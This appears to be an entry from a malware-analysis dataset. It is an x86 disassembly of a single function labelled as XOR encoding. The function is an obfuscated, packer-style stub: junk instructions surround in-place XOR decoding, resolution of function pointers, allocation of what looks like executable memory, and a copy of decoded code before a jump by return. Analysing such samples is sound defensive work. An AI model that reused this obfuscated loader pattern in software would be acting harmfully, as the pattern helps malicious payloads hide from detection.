Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4ade652a
or eax, ecx
mov eax, 0xa71b80f4
mov ecx, eax
popal
add ecx, 1
mov ecx, 0x2c5bdf6f
add ecx, ecx
mov ebx, 0
mov ecx, edi
dec esi
sub edx, esi
mov eax, ecx
and esi, esi
add edx, 1
sub esi, edx
mov edi, eax
sub esi, 1
sub esi, edx
inc ebx
add esi, 0x592cd937
add edx, esi
cmp ebx, 0x100f94c
jne 0xa789ce
or esi, edx
add edx, 0x9d2a4735
and edx, edx
and ecx, eax
sub ecx, eax
mov edi, 0xa78796
add esi, 0xc749b78e
add ecx, edx
add ecx, 0x91cb3d50
mov eax, 0xa7898a
sub edx, ecx
dec esi
mov ebx, dword [edi]
add edx, 1
sub esi, 0xad672e64
inc ecx
and ebx, 0xff
and esi, esi
or esi, esi
not ecx
xor dword [eax], ebx
mov esi, edx
sub ecx, 0x5c36012b
inc eax
sub edx, 1
and ecx, esi
inc edi
dec ecx
add ecx, ecx
cmp eax, entry0
jl 0xa78a27
not ecx
sub esi, 1
mov esi, ecx
mov edx, ecx
sub esi, 0x66b50a88
add ebx, esi
mov edx, 0xf772ce91
and ebx, edi
mov ecx, 0xa7898e
sub edi, 1
add esi, edx
mov ecx, dword [ecx]
and edx, ebx
add esi, 0x142a9df9
mov ecx, dword [ecx]
sub esi, edx
dec esi
not ebx
sub esp, 4
mov dword [esp], ecx
mov edx, edi
and edx, esi
dec esi
mov ecx, 0xa7898a
add edx, 0xf18a94e5
or edx, esi
sub ebx, 0x61b05efe
mov ecx, dword [ecx]
mov esi, edx
inc esi
mov ecx, dword [ecx]
add edx, 0x89caa467
sub edx, 0xcdb1f09f
push 0xa78992
not edi
not edi
add ebx, 0xb1b56a6c
call ecx
and esi, ebx
sub ebx, 0x8b472e0b
pop ecx
inc edi
dec edx
sub ebx, 0x78bc2906
push 0xa7899f
mov edi, ebx
sub edx, 0x697fd3b6
sub esp, 4
mov dword [esp], eax
sub edi, 0x8194f28a
and esi, ebx
call ecx
not edi
add edi, 0xb32b134e
push 0x40
dec ebx
not edx
dec edx
push 0x3000
dec esi
not ebx
sub edi, esi
push 0x2000062b
mov edx, 0xd1d17200
add ebx, 0xe5a9c520
sub ebx, edx
push 0
or edx, ebx
or edx, ebx
add esi, 0x7d3cdaab
call eax
add ebx, ebx
add edi, 1
add eax, 0x20000575
not esi
sub edx, 1
mov edx, ebx
mov ecx, 0x13faa280
inc esi
sub ebx, esi
inc edx
mov dword [eax], ecx
add edi, 0x995409d
add ebx, 0xb18ca6be
mov ecx, dword [eax]
inc edx
add edi, 0x47d52d66
and ebx, edi
cmp ecx, 0x13faa280
je 0xa78b95
mov ecx, 0
mov dl, byte [ecx]
mov edx, 0x33fe58db
not esi
sub edx, 0x9f42faa2
not esi
mov esi, 0x36f26633
not ebx
not eax
not eax
mov eax, ecx
mov edi, section..text
add ecx, eax
mov eax, ecx
mov ecx, 0x398f3d6a
mov esi, 0xa78795
mov ecx, eax
not eax
mov ebx, 0
and ecx, eax
dec eax
mov edx, 0xa78796
mov ecx, 0x9565cfcb
add ecx, ecx
mov ecx, 0x9d119420
lea edx, [edx + ebx]
or ecx, eax
sub ecx, 0x3d5fea9e
mov edx, dword [edx]
inc ecx
add eax, 0xc7792812
and edx, 0xff
or ecx, eax
and ecx, ecx
inc ebx
inc ecx
add eax, 1
cmp ebx, 0x1f4
jne 0xa78c14
mov ebx, 0
mov eax, ecx
or ecx, ecx
dec ecx
and ecx, ecx
sub eax, ecx
mov eax, 0x2fcf8a25
xor dword [edi], edx
mov ecx, 0x661ae5f2
inc eax
sub eax, ecx
add edi, 2
add ecx, 0x8e9e4947
or ecx, ecx
cmp edi, esi
jl 0xa78bd0
mov ecx, eax
or eax, ecx
mov eax, ecx
add eax, 0xf776a01f
add ecx, 0x29d7c22e
dec eax
mov eax, section..text
mov ebx, edi
add edi, 0x414e3431
and ebx, ebx
mov esi, section..text
mov edi, ebx
add ebx, 1
mov ecx, 0xa78795
sub edi, 1
add ebx, 0x1819dafa
mov edx, 0
sub edi, 0x66b6a780
and edi, ebx
sub ebx, edi
mov dl, byte [esi]
or ebx, ebx
dec ebx
add edi, 1
mov byte [eax], dl
and edi, ebx
or ebx, edi
add eax, 1
mov edi, 0x793e5e2a
sub edi, ebx
add esi, 2
add edi, 0xe86d1034
sub ebx, edi
cmp esi, ecx
jle 0xa78c91
not edi
add ebx, 0xbd530460
and ecx, eax
add ecx, ecx
mov ecx, eax
sub esp, 4
mov dword [esp], 0x8dc6a0
not ecx
mov eax, 0x270f9a82
sub ecx, 1
ret